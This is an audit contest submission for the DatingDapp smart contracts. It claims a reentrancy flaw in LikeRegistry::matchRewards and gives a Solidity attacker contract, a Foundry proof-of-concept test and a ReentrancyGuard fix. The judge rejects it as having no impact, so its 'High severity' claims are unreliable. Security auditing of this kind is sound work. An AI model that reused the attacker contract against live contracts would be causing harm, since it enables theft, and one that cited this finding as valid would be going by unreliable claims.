DatingDapp

First Flight #33
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: low
Invalid

Reentrancy vulnerability in `LikeRegistry::matchRewards` allows multiple match creation and state manipulation

Summary

The LikeRegistry::matchRewards function is vulnerable to reentrancy attacks as it performs ETH transfers before updating critical state variables. An attacker can reenter the contract during reward distribution to manipulate matching states and create unauthorized matches.

Vulnerability Details

function matchRewards(address from, address to) internal {
uint256 matchUserOne = userBalances[from];
uint256 matchUserTwo = userBalances[to];
MultiSigWallet multiSigWallet = new MultiSigWallet(from, to);
(bool success,) = payable(address(multiSigWallet)).call{value: rewards}("");
require(success, "Transfer failed");
userBalances[from] = 0;
userBalances[to] = 0;
}

Proof Of Concept

contract ReentrancyAttacker is IERC721Receiver {
LikeRegistry public registry;
SoulboundProfileNFT public nft;
address public owner;
uint256 public attackCount;
constructor(address payable _registry, address _nft) {
registry = LikeRegistry(_registry);
nft = SoulboundProfileNFT(_nft);
owner = msg.sender;
}
function mintProfile() external {
nft.mintProfile("Attacker", 25, "ipfs://attacker");
}
function attack(address target) external payable {
registry.likeUser{value: msg.value}(target);
}
receive() external payable {
if(attackCount < 2 && msg.value > 0) {
attackCount++;
registry.likeUser{value: 1 ether}(msg.sender);
}
}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external pure override returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
}
function testReentrancyAttack() public {
vm.deal(alice, 10 ether);
vm.deal(attacker, 5 ether);
vm.startPrank(attacker);
ReentrancyAttacker attackerContract = new ReentrancyAttacker(
payable(address(registry)),
address(nft)
);
attackerContract.mintProfile();
vm.stopPrank();
vm.startPrank(alice);
registry.likeUser{value: 5 ether}(address(attackerContract));
vm.stopPrank();
vm.startPrank(attacker);
vm.deal(address(attackerContract), 2 ether);
attackerContract.attack{value: 1 ether}(alice);
vm.stopPrank();
vm.startPrank(alice);
address[] memory aliceMatches = registry.getMatches();
assertEq(aliceMatches[0], address(attackerContract), "Match should be created");
assertEq(registry.userBalances(alice), 0, "Alice balance not updated correctly");
assertEq(registry.userBalances(address(attackerContract)), 0, "Attacker balance not updated correctly");
vm.stopPrank();
uint256 totalValue = address(registry).balance;
assertEq(totalValue, 6 ether, "Total value should be Alice's 5 ETH + Attacker's 1 ETH");
}

Impact

High severity because:

  • Allows creation of unauthorized matches through reentrancy

  • State variables are updated after external calls

  • Can manipulate user balances and matching rewards

  • Compromises the integrity of the matching system

  • Multiple matches can be created in a single transaction

Tools Used

  • Manual review

  • Foundry testing framework

Recommendations

Implement ReentrancyGuard and checks-effects-interactions pattern:

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract LikeRegistry is Ownable, ReentrancyGuard {
function matchRewards(address from, address to) internal nonReentrant {
uint256 matchUserOne = userBalances[from];
uint256 matchUserTwo = userBalances[to];
// Update state before external calls
userBalances[from] = 0;
userBalances[to] = 0;
uint256 totalRewards = matchUserOne + matchUserTwo;
uint256 matchingFees = (totalRewards * FIXEDFEE) / 100;
uint256 rewards = totalRewards - matchingFees;
totalFees += matchingFees;
// External calls after state updates
MultiSigWallet multiSigWallet = new MultiSigWallet(from, to);
(bool success,) = payable(address(multiSigWallet)).call{value: rewards}("");
require(success, "Transfer failed");
}
}
Updates

Appeal created

n0kto Lead Judge 3 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

invalid_reentrancy_with_no_impact

matchRewards: Contract is created just before and is the one called. No impact. executeTransaction: CEI is followed. Emitting an event in disorder is informational in that context. withdraw: CEI is followed.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.